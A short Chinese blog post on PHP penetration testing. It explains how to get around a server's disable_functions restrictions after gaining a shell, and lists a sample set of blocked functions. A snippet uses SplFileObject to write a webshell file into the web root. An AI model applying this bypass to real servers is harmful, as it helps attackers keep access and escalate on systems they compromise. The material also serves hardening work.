php渗透测试技巧-文件操作

  有些时候通过文件包含漏洞或其他漏洞拿到一个临时shell之后却发现服务器对disable_functions做了比较变态的设置。使得我们没法将shell或local exp写到其他目录。

如:

1
2
3
4
5
6
#print_r(ini_get('disable_functions'));
putenv,chdir,dl,shell_exec,exec,system,passthru,popen,fopen,
fputs,mkdir,rmdir,rename,move_uploaded_file,unlink,copy,chgrp,
chown,lchgrp,lchown,chmod,touch,symlink,link,apache_request_headers,
highlight_file,show_source,highlight_string,parse_ini_file,mail,tempnam,
tmpfile,file_put_contents,error_log,proc_open,stream_socket_server,phpinfo,phpversion

  上所示服务器禁止了写文件操作和命令执行等函数, 但利用php的一些特性均可以实现类似的功能。首先我想到可以使用的函数是gzopen, imagejpeg, session_save_path等, 对于写webshell来说基本够用了,但如果写一个local exp的话里面会参杂一些我不想要的数据, 好在PHP 5起多了一个SplFileObject的文件操作类,由于SplFileObject使用的人较少所以服务器的安全设置一般会漏掉。


1
2
3
4
5
6
<?php
$file = new SplFileObject("/var/www/html/hispy/b4dboy.php", "w");
$written = $file->fwrite('shellcode');
echo "Wrote $written bytes to file";
#print_r(glob('/var/www/html/hispy/*'));
?>